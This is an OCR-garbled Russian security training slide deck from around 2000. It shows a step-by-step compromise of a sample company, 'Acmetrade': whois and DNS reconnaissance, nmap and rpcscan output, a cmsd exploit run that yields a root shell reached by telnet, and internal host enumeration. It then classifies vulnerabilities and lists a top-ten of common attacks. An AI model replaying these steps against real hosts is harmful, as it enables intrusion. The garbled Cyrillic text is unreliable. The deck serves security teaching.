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Co6op nuchopmaumnmn

MonyyeHue AocTyna K HaMMeHee 3aWULLEHHOMY Y3ny
(BO3MOXXHO C MMHMMaNbHbLIMY NPUBUNErNSMN)

[MoBbiWeHWe YPOBHA NPUBUIIENMI UITU UCNOMNb30BaHNe
y3na B kKayecTBe nnatdopmMbl AN nccriefoBaHUA APYruX y3roB CeTu

I'IonyquMe MNOJIHOIo KOHTpPOJIA HaaA O 4AHUM U3 Yy3J10B
NN HECKOJIbKUMU
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’3 Acmetrade - Login - Microsoft Internet Explorer - [Working Offline]

J File Edit V¥iew Favorites Tools Help

| «Back ~ =» - D 7t | ‘Qusearch (EgFavorites (BHistory | BN &b 1O - 5]

J Address @ C:\homelcroulandinew!Suretrade - Login.htm

CACMETRADECOM e

—
— T S

&] Done [ | |4 mternet v

Cnang 2o



etwork Solutions - Domain Name Registration Services from the dot com people - Microsoft Interne... [lj[=]

J File Edt View Go Favorites Help

|

J¢.®.@@’@@€3@ o &
Back Forward Stop Refresh  Home Search Favortes  History  Channels | Fullscreen  Mail

J Address I@ http: / A network solutions. com/

=] || Links

NETWORK SOLUTIONS’
the dot com people-

NiIC

enter 3 name, word or phrase

Need Help
to Start?
Click here

G0y

click GO!

Search for 3 Web Address (domain name) with no obligation!

' ot com directory™
The Web's definitive Find-

sl %

It engine. Tryit!

© WHOIS Search

: Ly

Important Customer
Information

Network Solutions now requires
prepayment for Web Address
(domain name) registrations.
o Read more about it.

¥ Tune Up Your Web Site

Company Information
o

Critical maintenance services
and enhancement tools to keep
your Wifeb site performing at
optimum levels.

Get More Visitors to
Your Site g
Use dot com promotions™ to

attract, monitor, and

communicate with your Web site

visitors.
Network Solutions,
. Department of (O Wear Your Web b
Commerce and ICANN Address

reach long-term
agreements. Read the

press release.

Promote your Web Address with
personalized dot com gear™
sportanear.

[BE DIRECT]

Internet Starter Kit

Get 3 Wieb Addre ss, e-mail,

and a one-page Wb site — -

our all-in-one paclage.
Increase Web Site
Traffic
The RealNames™ senvice
improves the visibility of your
company's Web site in search
results.

Manage Your Internet
Business

The dot com toolkit™ will help
you establish, manage, and grow
your business on the Internet.

Join Our Affiliate
Program

Sell ourservices and earn money
just by adding a link to your site.

Visit Our Resouice
Center

Articles and tips in the dot com
series on how to develop your
business on the Internet.

Home | Services | Find | Help | About Us

R egi's tera Web A ddr @SS (domain name)
[ .com =]

choose a domain

-~
—

P |
=

] ] ] Inh:met ZNhe

N




Web Interface to Whois - Microsoft Internet Explorer =]
j File Edt Yiew Go Favortes Help |

]*.*.@ﬁ‘@@@@@

Back Forward Stop FRefresh  Home Search  Favortes  History  Channels | Fullscreen  Mail

JAddress I@ http: /v network solutions. com/cgi-bin/whois/whois/ ZI “ Links

-~
—

NETWOR'K'NSOLUT|ONS. Home | Services | Find | Help | About Us

dot com people”

9 Web Interface to Whois *“;;,1,,, |

cy
click now

The Data in Network Solutions' WHOIS database is provided by Network Solutions for information
purposes, and to assist persons in obtaining information about or related to a domain name registration
record. Network Solutions does not guarantee its accuracy. By submitting a WHOIS query, you agree
that you will use this Data only for lawful purposes and that, under no circumstances will you use this
Data to: (1) allow, enable, or othenvise support the transmission of mass unsolicited, commercial
adverising or solicitations via email (spam); or (2) enable high volume, automated, electronic
processes that apply to Network Solutions (or its systems). Network Solutions reserves the right to modify
these terms at any time. By submitting this queny, you agree to abide by this policy.

Search for a Web address, NIC handle, host IP, or lasthame, firsthame:

ACMETRADE.COM  ((SEAREHD)

To use Whois, simply type in your search string (i.e.example.com or smith, john).
Please note that requests like "www.example.com” will not yield a correct
answer; Whois can query only for second-level domain names.

The default action for Whois, unless directed otherwise with a keyword (e.q.
"domain root"), is to do a very broad search, looking for matches in many fields:
handle, name, or hostname and finding all record types.

Whois then shows the results in one of two ways: as a full, detailed display for a
single match (with possible subdisplay), or as one- or two-line summaries for
multiple matches.

v
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J File Edit View Go Favortes Help

J &
Back

-

Earward Stop Refresh ~ Home Search  Favorites Hiory Channels | Fullscreen

N
. Q9 B 4@ | @ 6 @ ¥ | H R

M ail

J Address

@ http://www.networksolutions.com/cgi-bin/whois/whois/?STRING=acmetrade.com

E

| Links

|}

Web Interface to Whois s |

Registrant:

Acmetrade.com, Inc. ACMETRADE-DOM)
6600 Peachtree Dunwoody Road
Atlanta, GA 30338

Domain Name: ACMETRADE .COM

Administrative Contact:
Vaughn, Danon §£S2394) dvaughn@ACMETRADE.COM
(678)443-6000 (FAX) (678) 443-6476

Technical Contact, Zone Contact:
Bergman, Bret ET2324) bbergman@ACMETRADE.COM
(678)443-6100 (FAX) (678) 443-6208

Billing Contact:
Fields, Hope ET3427) hfields@ACMETRADE.COM
(678)443-6101 (FAX) (678) 443-6401

Record Last updated on 27-Jul-99.
Record created on 06-Mar-98.

Database last updated on 4-0Oct-99 09:09:01 EDT

Domain servers in listed order:

dns.acmetrade.com 208.21.2.67
www.acmetrade.com 208.21.2.10
wwwl.acmetrade.com 208.21.2.12
wWww2 .acmetrade.com 208.21.2.103

Al

l_ [_ l_ I-@ Internet zone




}
" /2 RIPN NIC - Microsoft Internet Explorer
J File Edt “iew Favoites Tools Help
LD | QA G 3
Back Earward Stop  Refresh Home Search Favorites  History Print Edit  Discuss
| J’Agdless I@ http: /v ripn.net: 8080/nic/index. html

" RIPN®

PEFMCTPALMA AOMEHOS | IR o pocs[FIEN | cevEBOA MH®OPMALMOHHBA LEHTP | NPOEKTH
B 30HE RU |

PACNPEAENEHME IP HOMEPOB i QE T E B O ﬁ
PEMHCTPALHA ABTOHOMHBIX M H m O p M A u M 0 H H bl M u E H T p

CHCTEM (AS)

PEFHCTPALHMA OBPATHBIX
AOMEHOB

WHOIS CEPBMC

APXHB AOKYMEHTOB
FYl, RFC, RIPE

CNHCKHW PACCHNOK CETEBOTO
HHOOPMALHMOHHOIO UEHTPA

QA NOMCK | EMAIL ==

WIN | KOl | ALT | IS0 | MAC | ENGLISH
TNABHAS CTPAHMUA

[ | |4 Intemet




"% Komananas crpoka - nslookup

Z:\>nslookup
DNS request timed out.
timeout was 2 seconds.
»¥x Can’t find server name for address 127.0.0.1: Timed out
»¥x Default servers are not available
Default Server: UnKnown
Address: 127.0.0.1

> server 194.226.94.9
DNS request timed out.

timeout was 2 seconds.
Default Server: [194.226.94.91
Address: 194.226.94.9

? -




PE?,- KomangHaa crpoka - nslookup

> server 194.226.94.9
DNS request timed out.

timeout was 2 seconds.
Default Server: [194.226.94.91]
Address: 194.226.94.9

> 1s —d infosec.ru

[[194.226.94.

infosec.ru.
081702 28800

infosec.ru.

infosec.ru.

infosec.ru.

infosec.ru.
pr

mail

un

un

wuw

wwwl

ftpl

infosec.ru.
?81702 p4:1:4010}

211
7200 604800 86400

SOA
NS

7200 604800 86400

CNAME
A

MX

A

ns.rfnet.ru hostmaster.ns.rfnet.ru.

ns.icn.gov.ru
ns.rfnet.ru

10 pr.infosec.ru
20 relay.rfnet.ru
194.135.141 .98
un.infosec.ru
194.135.141 .99

10 un.infosec.ru
194.154.77.109
un.infosec.ru
un.infosec.ru
ns.rfnet.ru hostmaster.ns.rfnet.ru.

(19299

(1999




. Nmap Free Security Scanner

Sl Network-wide ping sweep, portscan, OS Detection

I.F A
Shadow Scan.Ink

[hacker@linux131 hacker]$ nmap 200.0.0.143

Starting nmap V. 2.53 by fyodor@insecure.org (
www.insecure.org/nmap/ )

Interesting ports on (200.0.0.143):

(The 1516 ports scanned but not shown below are in state: closed)
Port  State  Service

21/tecp open ftp

25/tcp open smtp

80/tcp open http

135/tcp open loc-srv

139/tcp open netbios-ssn

443/tcp open https

465/tcp open smtps

Nmap run completed -- 1 IP address (1 host up) scanned in 1 second



hacker: /export/home/hacker> ./rpcscan dns.acmetrade.com cmsd

Scanning dns.acmetrade.com for program 100068
cmsd is on port 33505

hacker:/export/home/hacker>



File

!
Back

:08:

| Adx

[/BSD
|"ESDi

[N etBSD
|||'FreeBSD
[|/OpenBSD
[ Dg-Ux

[ Hp-Ux

|/ Trix

| Limax

||/ SusSE
||'Debian
||'Redhat

|||/ Slackwrate
'Opentinux
|| Misc

|Bca
[/‘Solatis
[/BunOS

[/ Titrix

ADMmountd.tez
tpe-cmsd.c
fakenwalld.c

humpdee2 toz

Isxtgz
nfsd.c

nisd.c
pmap toolstgz
tpe-cmsd.c

tpettdbserver
stdz.c

wallflash.c




eeBSD

Cnaunpg 33

SD

D

ﬁEj]ﬁE;}EEkcaza

Favorites  Help

Stop Refresh | Home Search Favortes  History  Channels

crsd warez
executes /tmp/
gee -0 © ¢.c¢ —-lrpesve -lnsl -l1lsocket

..053's Affected..
(Solaris 7/SPARC)
(Solaris 7/x86)
(Solaris 2.6)
(Solaris 2.5.1)

=1

Fullscreen Mail

:daemOn:
Col
FTP
Pine

NIS

MNews

Fingerd
Chatgen
Sendmail

(Solaris
(Solaris
(Solaris
(Solaris
(SunO3 4.
(Solaris

N o= NN MNN NN

.5.1_x86)

.5)

.5_x86)

.3)

.3/4.1.3C/4.1.3 U1/4.1.4)
.6/ SPARC)

*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*

%
Y

#include
#include
#include
#include
#include

T

<stdio.h>
<stdlib.h>
<rpc/rpe.h>
<netdb. h>
<arpa/inet.h>

Internet zone




JTtan nony4vyeHusa gocrtyna K y3ny

hacker: /export/home/hacker> id
uid=1002 (hacker) gid=10 (staff)
hacker: /export/home/hacker> uname -a

SunOS evil.hacker.com 5.6 Generic 105181-05 sun4u sparc

SUNW,UltraSPARC-IIi-Engine
hacker: /export/home/hacker> ./cmsd dns.acmetrade.com

using source port 53
rtable create worked
Exploit successful. Portshell created on port

33505
hacker: /export/home/hacker> telnet dns.acmetrade.com 33505

Trying 208.21.2.67...
Connected to dns.acmetrade.com.
Escape character is '*]'.

# id

uid=0 (root) gid=0 (root)

# uname -a

SunOS dns 5.5.1 Generic 103640-24 sund4m sparc SUNW,SPARCstation-5
W



# nslookup

Address: 208.21.2.67

> 1ls acmetrade.com
[dns.acmetrade.com]

www.acmetrade.com

wwwl .acmetrade.com

www2 .acmetrade.com
margin.acmetrade.com
marketorder.acmetrade.com
deriv.acmetrade.com
derivl.acmetrade.com
bond.acmetrade.com
ibd.acmetrade.com
fideriv.acmetrade.com
backoffice.acmetrade.com
wiley.acmetrade.com
bugs.acmetrade.com
fw.acmetrade.com
fwl.acmetrade.com

Received 15 records.
> AD
#

208.
208.
208.
208.

208.
208.
208.
208.
208.

208.
208.
208.
208.

Ucnonb3oBaHue y3na B KayecTBe
nnatdgopmbl AnNA uccriegoBaHuAa apyrux

Default Server: dns.acmetrade.com y3J510B CeTH

21.2.10
21.2.12
21.2.103
21.4.10
208.21.2.62
21.2.25
21.2.13
21.2.33
21.2.27
21.4.42
208.21.4.45
21.2.29
21.2.89
21.2.94
21.2.21

B NDDNDMDNDDN



Cxema cetu

(AcmeTrade’s

Network)
Web
Server

UNIX
Filtering Firewall

ij'er ® '_E“

DNS

Server Clients & Workstations
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Cnaung 37

YA3BMMOCTU U aTaKu

Ys138UMOCMb - /1l06asi xapakmepucmuka u/iu
cBolUICMBO UHhOopMayUuoHHOU cucmemsl,
UCMO/Ib30BaHUE KOmMopouU Hapywumesiem
MOXXem rpusecmu K peasausayuu y2possbil.

Amaka - delcmasue Hapywumesis, Komopoe
fpuBoOUM K peasiusayuu y2po3bl nymem
UCMo/1b30BaHUs ys3s8umocmeul
UHopMayuoHHoOU cucmemsl.



v

Knaccudukauums
YA3BUMOCTEWN
y350B, MNPOTOKOJIOB
n cnyxo IP - ceTem
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i Knaccudpukaumsa yasBumMocTen

3

%3'7' no npuynHam BO3HUKHOBEHUA

| owubku npoekmupoBaHus
(mexHos102ul, rMPoOMmMoKo/108, C/1yX06)

owubku peasuzayuu (npozspamm)

v
owubKU 3Kcn/lyamayuu

| (Hernpasu/ibHasi HacmMpouKa,
Heucrio/ib3yeMble cemesble C/1yXKObl,
c/1abble naposiu)
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__aw Knaccudmkaums no ypoBHIo
L B MH(POPMaLMOHHOIA
b2 NHPppPaACTPYKTYypE

1 YposeHb nepcoHasia

| ¥YposeHsb ripusioxeHuu

| YposeHb 6a3 0aHHbIX

| YposeHb onepayuoHHoUl cucmemsl
| YposeHb cemu

Cnaung 40



.‘?KﬂaCCI/ICbI/IKaLI,I/IFI YyA3BUMOCTEN
MO YPOBHIO (CTeneHu) pucka

4
.,
4

= YPOBEHb PUCKA

Ysizsumocmu, no3soJsisirnujue amaxkyrowemy
rnoJsiydums HernocpeocmaseHHbIlU docmyn y y3/y ¢
npasamMu cyreprnosib3os8ame/is

CpedHUL ypoBEHb puCKa

Hu3skuu ypoBeHb pucka

Ysa3s8umocmu, no3soisirouwjue 3/10yMbIW/IEHHUKY
ocyujecmssiimb c60p Kpumu4Holi UH¢hopmayuu

O cucmewme

Cnaunpg 41



NCcTOUYHMKN nHpopmaLnin

N{* O HOBbIX YA3BUMOCTSAX
-
Wwvucert.org - KOOanHaL{UOHHbIlj qump
CERT/CC

WWW.ISS.net/xforce - 6a3a 0aHHbIX KoOMraHuu ISS
linl.ciac.gov -~ uyeHmp CIAC

www.cert.ru - poccuuckuu CERT/CC

www.securityfocus.com

Cnawng 42



- www.Iss.net/xforce

’3 Internet Security Systems, Inc. : X-Force - Microsoft Internet Explorer
] File Edit “iew Favortes Tools Help
" : = =
R S < W A L &3 | &
Back Forward Stop  Refresh Home Search Favorites  History Print Edit Discuss

J'A_c_ldress IE http: //#force.iss.net/

lNTERNET
SECURITY X-Force

SYSTEMS keywmd I Advanced Search

X-Force

THE WORLD'S #1 RESOURCE FOR
y COMPUTER THREATS & VULNERABILITY

[J Serious Fun

O Mail Lists ;

O Protowort

g Submissions * Buffer Overflow in Microsoft ¥Windows NT 4.0 and ¥Windows 2000
Sl Metwork Monitor - (November 1, 2000)

search by:
| Platform

EI Serious flaw in Microsoft IS UNICODE translation - (October 26,
2000)

sort by: *® “Yulnerability in the Oracle Listener Program - {October 25,

[Vulnerability Name ¥} 2000)

display: * Widespread incidents of SubSeven DEFCOMNS 2.1 Backdoor -
el (October 8, 2000)

IA" Mt ZI ® |Insecure call of external programs in Red Hat Linux tmpwatch -

display results: {October 6, 2000)

|In increments waZI * GNU Groff utilities read untrusted commands from current
waorking directory - ({October 4, 2000)

Search Dotobase ® Multiple vulnerabilities on all platforms and versions of Check Ll

Mlmnd Cluebfdall 4 L PR SR SEPE L b a Fa Fa Fal |

|| |4 Intemet




Mpumepbl YA3BUMOCTEN

ip-fragment-reassembly-dos

OnwucaHlue: roceirika 6orbuo20 Yucria 0OUHaKo8bIX
ppaameHmos IP-Oamazpammsi rnpusooum K HedocmyrnHocmu
y3r1a Ha 8peMs amaku

YpOBEHbL: CEeTb

CTeneHb puUcKa: cpegHsAs w

NCTOYHUK BO3ZHUMKHOBEHUS: OLUMOKU peann3aunm

Cnawvp 44



Mpumepbl YA3BUMOCTEN

nt-getadmin-present

OﬁuéaHMe: npobriema oOHouU u3 yHKkuuu-a0pa OC Windows

NT, no3eonsrowasi 3/10yMbIUEHHUKY AOy4YuUms ripususeauu
aoMuHUcmpamopa

YpoBeHb: OC

CteneHb pucka: BbICOKas

NCTOYHUK BO3HUKHOBEHUS: OLUMOKU peann3aunm

Cnawnpg 45



Mpumepbl yA3BUMOCTEN

aHue: mssql-remote-access-option

OnCanmne: ys38uMOoCmb 8 peanu3ayuu 803MOKHOCMU
MOOK/1FO4eHUS cOo cmopoHbI Opyaux SQL-cepsepos

YpoBeHb: CYB[

CteneHb pucka: HU3Kas

NCTOYHUK BO3ZHUMKHOBEHUS: OLUMOKU peann3aunm

Cnawnpg 46



Mpumepbl YA3BUMOCTEN

ue: ilis-url-extension-data-dos

OnwucaHue: rioceisika b6orbwo2o Yyucria HEKOPPEKMHO

TOCMPOEHHBIX 3arpocos8 rnpusodum K MO8bILUEHHOMY Pacxody
pecypcos rpoueccopa

YpoBEeHb: MNPUINOXEeHUA

CTeneHb puUcKa: cpegHsAsa w

NCTOYHUK BO3ZHUMKHOBEHUS: OLUMOKU peann3aumnm

Cnawng 47



Mpumepbl YA3BUMOCTEN

Eme: win-udp-dos

OnMCéHMe: OC Windows 2000 u Windows 98 ysa3s8umbi kK amake

«0mkKa3s 8 0bcny»xueaHuu», 8bI3bieaeMol uc4HepraHUeM 8cex
UDP-cokemoes

YpoBEeHb: MNPUINOXEeHUA

CTeneHb puUcKa: cpegHsAsa w

NCTOYHUK BO3ZHUMKHOBEHUS: OLUMOKU peann3aumnm

Cnaung 48



Mpumepbl YA3BUMOCTEN

HUMe: win95-back-orifice

OnucaHue: y3es 3apaxeéH cepgepHOU Yacmbsio MPOSIHCKO20
KOHS, No3eofisrouiel ycmaHo8UMb MoJIHbIU KOHMPOsIb Hao
Y3/10M

YpoBeHb: [lepcoHan

CteneHb pucka: BbICOKas

NCTOYHMK BO3HUKHOBEHUSA: OLUMOKKN OOCNyXUBaHUA

Cnaung 49



Common Uulnerabilities and Exposures

m The Key to Information Sharing

EovHaa cuctema HammMeHOBaHUN ONS YA3BUMOCTEN

CtaHpgapTHOE onucaHue And Kaxaowu ya3BUMOCTHU

Ob6ecneyeHne COBMECTUMOCTHU 6a3 AaHHbIX YI3BUMOCTEM

http://cve.mitre.org/c

VE
Cnaung 50



Common Uulnerabilities and Exposures

CAN-1999-00 Kanaupat CVE
A7

!

CVE-1999-00 UHpekc CVE
b7

http://cve.mitre.org/c

Cnawnpg 51 ve



Cutyauusa 6e3 CVE

»
-2
Bugtra NT4-SP3and 95
g

[latierra.cl

ISS Lan
RealSecure d
~  CERT Advisory CA-97.28.Teardrop Lan
d
" Cisco Database Impossible TP
Packet
Axent land attack (spoofed
NetRecon SYN)J

YaszsumocTtb Land IP denial of service

Cnaung 52



NMNoapnepxka CVE

ugtra = ISS
g RealSecure

®+ = Cisco Database
.éﬂ Advisory . Axent

NetRecon

CVE-1999-0016 Land IP denial of service

Cnaung 53
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CVE entry

Arbitrary command execution via IMAP
buffer overflow in authenticate command.



4
- 1
\

Knaccudukauma
aTtak B |IP- ceTsax
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. Knaccudgukauma atak
i Mo Lensm

_ | "HapyweHue HopmMma/lbHO20 QYYHKUUOHUPOBAHUS
obbekma amaku (omka3s 8 06¢c/1y)xusaHuu)

[ToslydyeHUe KOHUOeHyuasibHOU UHopmayuu

| Mooupukayus usu ghbasibcupukayusi
KPUMUYHbIX OaHHbIX

| llony4eHue no/iHo2o KOHMPOo/is Hao
06bLeKmomM amaku

Cnawunpg 56



| Knaccudpnkauusa arak
- MO MECTOHaXOXAeHUIo
"\ atakyiowwero n 06beKTa aTakm

| Amakyrowuli U 06beKM amaku
Haxoosimcsi 8 OOHOM ceaMeHme

. ' B

l | |

| Amakyrowuli u 06bekm amaku
Haxo0siImcsi 8 pa3HbIX ceameHmax

- = Fe
5 5 &)
N \ \
@ < | W
MapLupy-

| TM3arTop

-
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Cnaung 58

4

v

v
v

v

Knaccundomkauusa atak no
MexaHu3mMam peannsauuu

[laccusHoe npoc/1ywusaHue

[lodo3pumesibHasi akmusHOCMb (pa3seoka)

becrosie3Hoe pacxodoBaHue BbI4UC/IUME/IbHbLIX
pecypcos (nepezpyska)

HapyweHue Hasuzayuu (/10XXHbIU Mapuwipym)

[posoyuposaHue omkasa o6bekma (KOMNoOHEHMA)

3arnyck kooda (npozgpamMmbl) Ha 06bekme-amaku



4
- 1
\

Ctatnctuka no
VA3BUMOCTAM
N aTaKkam

3a 2000 ron

UCTOYHMK:
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8.
9.
10.

Top 10

. BoieeaeHnuve u3 cTnod (tDenial of Servicen)

Cnabbie naponu (cMcTeMHad NONUTUKA)
IIS (Microsoft Internet Information Server

Vaseumoctyv GYb]1

. VYaseumoctu Weh-npunokeHun

JNEKTNOHHAA NoYUTa

PasrpanuueHue gocryna k o61um pecyncam
RPC (yaaneHHble npoueAynbI)

Bind
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Top 10

. IIS (Microsoft Internet Information Server)

- &

= o, _linux Buffer Overflows \

2
3
4
5. E-Business Weh Applications
6
7
8
9




Linux Buffer Overflows

o

;‘: Wu-ftp BO

« IMAP BO

e JQpopper BO

e Overwrite stack

e Common script kiddie exploit

e Poor coding standards
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leak Accounts

3. 1IS [Microsoft Internet Information Server]
4. Open Databases

5. E-Business Web Applications

6. Open Sendmail

7. File Sharing
8. RPG

Cnanpg 63



& yYazsumoctu BIND

N*f

Wwe BIND ginv

- Compile flag turned on by default,
activated buffer-overflow, client request
to server, script kiddie

e BIND nxt

- Server to server response, buffer
handling overflowable, more a

@Sun.
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Top 10

3. 1IS (Microsoft Internet Information Server)
4. Open Databases

5. E-Business Weh Applications

6. Open Sendmail

7. File Sharing

s. RPC (Remote Procedure Calls)
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. _JRPC (Remote Procedure Calls)
Ng
-

e rpc.cmsd (sun-rpc.cmsd) s,
e rpc-statd (sun-rpc-statd) e
e Sadmin (sol-sadmind-amslverify-bo)
« Amd (amd-bo)

« Mountd (linux-mountd-bo)
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S Top 10
i,.

’
(8
W

R
3. 1IS (Microsoft Internet Information Server)

4. Open Datahases
5. E-Business Weh Applications

6. Open Sendmail

7. File Sharing

Cnawnpg 67



. File Sharing

. i

e NFS Sun.
e TpOAHCKNE KOHU
e + + Rhosts anga Unix - cepBepoB
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. Weak Accounts
3. IIS (Microsoft Internet Information Server)
4. Open Databases

5. E-Business Web Applications

. Open E-mail (aneKTpoHHad noutal
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DNEeKTPOHHaA noyTta

w

> |

o« Sendmail Pipe Attack (smtp-pip
e Sendmail MIMEbo “root acces
(sendmail-mime-bo?2)

e Bupychl Tvna «ILOVEYQOU»
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- Top 10
\3

I:Qi service Exploits

-

3. IS (Microsoft Internet Information Server)

4. Open Databases

5. E-Business Weh Applications
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. _aE-business Web Applications

N},

?NetscapeGetBo (netscape-get-bo) “control
server”

e HttpIndexserverPath (http-indexserver-path)
“path info”

e Frontpage Extensions (frontpage-ext) “readable
passwords”

e FrontpagePwdAdministrators
(frontpage-pwd-administrators) “reveal p

Netscape

Netcenter
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Top 10

\g

IQI Service Exploits

3. IS (Microsoft Internet Information Server)

4. Open Databases

Cnang 73 \



&

" Yassumoctu CYb/

:. Oracle (napornu rno ymonyaHuro)

e Oracle setuid root oratclsh

e SOL Server Xp_sprintf buffer overflow
e SOL Server Xp_cmdshell extended
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o Top 10

)f Service Exploits
2. Weak Accounts

3. |IS (Microsoft Internet Information Server)

Cnaunpg 75



1S (Microsotft Internet Information
- Server)

T

-4 2

e

e RDS

e« HTR

« Malformed header

« Htdig Remote Shell Execution

e PWS File Access

e CGI Lasso “read arbitrary files”

e PHP3 safe mode metachar remote execution
e PHP mlog.html read files
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e Top 10

2. \WWeak Accounts (cnabbie naponul
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it Cnabble naponu

e

e blogXXeTbl N0 yMONYaHnio - EERBIE

- Routers | Ewrowsaso s
- Servers
e OTCYyTCTBME NApoOns

e SNMP with public/private community
strings set
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Top 10

1. Denial of Service Exploits
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ATakn «Denial of Service»

e Trinity
e TEN
e Trin00 SR AN

e Stacheldraht

e 3arnycK B Ha3Ha4YeHHOe BPeMS

- Windows platform (W9x/2K/NT)
- HacTtpowka BpemMeHun n uenm

e PacnpegeneHHocTb
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mi Top 10

1. Denial of Service Exploits
2 | Weak Accounts
3. IIS (Microsoft Internet Information Server)
5. E-Business Weh Applications B
6. Open E-mail |

7. File Sharing

1

10. Linux Buffer Overflows
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